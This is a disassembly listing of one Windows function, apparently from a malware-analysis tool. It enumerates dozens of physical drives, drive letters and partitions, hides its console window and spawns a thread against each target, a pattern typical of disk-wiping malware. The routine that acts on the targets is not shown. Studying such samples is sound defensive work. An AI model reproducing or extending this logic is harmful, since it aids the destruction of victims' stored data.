Function at 0x401150
Capabilities:
Create thread
Get common file path
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4025c0
mov eax, dword fs:[0]
push eax
sub esp, 0x374
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x208
lea eax, [ebp - 0x21c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x21c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov dword [ebp - 0x368], str..PhysicalDrive0
mov dword [ebp - 0x364], str..PhysicalDrive1
mov dword [ebp - 0x360], str..PhysicalDrive2
mov dword [ebp - 0x35c], str..PhysicalDrive3
mov dword [ebp - 0x358], str..PhysicalDrive4
mov dword [ebp - 0x354], str..PhysicalDrive5
mov dword [ebp - 0x350], str..PhysicalDrive6
mov dword [ebp - 0x34c], str..PhysicalDrive7
mov dword [ebp - 0x348], str..PhysicalDrive8
mov dword [ebp - 0x344], str..PhysicalDrive9
mov dword [ebp - 0x340], str..PhysicalDrive10
mov dword [ebp - 0x33c], str..PhysicalDrive11
mov dword [ebp - 0x338], str..PhysicalDrive12
mov dword [ebp - 0x334], str..PhysicalDrive13
mov dword [ebp - 0x330], str..PhysicalDrive14
mov dword [ebp - 0x32c], str..PhysicalDrive15
mov dword [ebp - 0x328], str..PhysicalDrive16
mov dword [ebp - 0x324], str..PhysicalDrive17
mov dword [ebp - 0x320], str..PhysicalDrive18
mov dword [ebp - 0x31c], str..PhysicalDrive19
mov dword [ebp - 0x318], str..PhysicalDrive20
mov dword [ebp - 0x314], str..PhysicalDrive21
mov dword [ebp - 0x310], str..PhysicalDrive22
mov dword [ebp - 0x30c], str..PhysicalDrive23
mov dword [ebp - 0x308], str..PhysicalDrive24
mov dword [ebp - 0x304], str..PhysicalDrive25
mov dword [ebp - 0x300], str..PhysicalDrive26
mov dword [ebp - 0x2fc], str..A:
mov dword [ebp - 0x2f8], str..B:
mov dword [ebp - 0x2f4], str..C:
mov dword [ebp - 0x2f0], str..D:
mov dword [ebp - 0x2ec], str..E:
mov dword [ebp - 0x2e8], str..F:
mov dword [ebp - 0x2e4], str..G:
mov dword [ebp - 0x2e0], str..H:
mov dword [ebp - 0x2dc], str..I:
mov dword [ebp - 0x2d8], str..J:
mov dword [ebp - 0x2d4], str..K:
mov dword [ebp - 0x2d0], str..L:
mov dword [ebp - 0x2cc], str..M:
mov dword [ebp - 0x2c8], str..N:
mov dword [ebp - 0x2c4], str..O:
mov dword [ebp - 0x2c0], str..P:
mov dword [ebp - 0x2bc], str..Q:
mov dword [ebp - 0x2b8], str..R:
mov dword [ebp - 0x2b4], str..S:
mov dword [ebp - 0x2b0], str..T:
mov dword [ebp - 0x2ac], str..U:
mov dword [ebp - 0x2a8], str..V:
mov dword [ebp - 0x2a4], str..W:
mov dword [ebp - 0x2a0], str..X:
mov dword [ebp - 0x29c], str..Y:
mov dword [ebp - 0x298], str..Z:
mov dword [ebp - 0x294], str..Harddisk0Partition1
mov dword [ebp - 0x290], str..Harddisk0Partition2
mov dword [ebp - 0x28c], str..Harddisk0Partition3
mov dword [ebp - 0x288], str..Harddisk0Partition4
mov dword [ebp - 0x284], str..Harddisk0Partition5
mov dword [ebp - 0x280], str..Harddisk1Partition1
mov dword [ebp - 0x27c], str..Harddisk1Partition2
mov dword [ebp - 0x278], str..Harddisk1Partition3
mov dword [ebp - 0x274], str..Harddisk1Partition4
mov dword [ebp - 0x270], str..Harddisk1Partition5
mov dword [ebp - 0x26c], str..Harddisk2Partition1
mov dword [ebp - 0x268], str..Harddisk2Partition2
mov dword [ebp - 0x264], str..Harddisk2Partition3
mov dword [ebp - 0x260], str..Harddisk2Partition4
mov dword [ebp - 0x25c], str..Harddisk2Partition5
mov dword [ebp - 0x258], str..Harddisk3Partition1
mov dword [ebp - 0x254], str..Harddisk3Partition2
mov dword [ebp - 0x250], str..Harddisk3Partition3
mov dword [ebp - 4], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x80
mov dword [ebp - 0x24c], str..Harddisk3Partition4
mov dword [ebp - 0x248], str..Harddisk3Partition5
mov dword [ebp - 0x244], str..Harddisk4Partition1
mov dword [ebp - 0x240], str..Harddisk4Partition2
mov dword [ebp - 0x23c], str..Harddisk4Partition3
mov dword [ebp - 0x238], str..Harddisk4Partition4
mov dword [ebp - 0x234], str..Harddisk4Partition5
mov dword [ebp - 0x230], str..Harddisk5Partition1
mov dword [ebp - 0x22c], str..Harddisk5Partition2
mov dword [ebp - 0x228], str..Harddisk5Partition3
mov dword [ebp - 0x224], str..Harddisk5Partition4
mov dword [ebp - 0x220], str..Harddisk5Partition5
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push 9
push str.ntdll.lib
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x36c], 0xf
mov byte [ebp - 0x380], 0
call fcn.004016b0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0x36c]
cmp edx, 0x10
jb 0x40158d
mov ecx, dword [ebp - 0x380]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401583
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401583
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0040183d
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax + eax]
push 0
push 0
push dword [ebp + esi*4 - 0x368]
push 0x401060
push 0
push 0
call edi
push 0xa
call ebx
inc esi
cmp esi, 0x53
jb 0x4015a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004017fc
mov esp, ebp
pop ebp
ret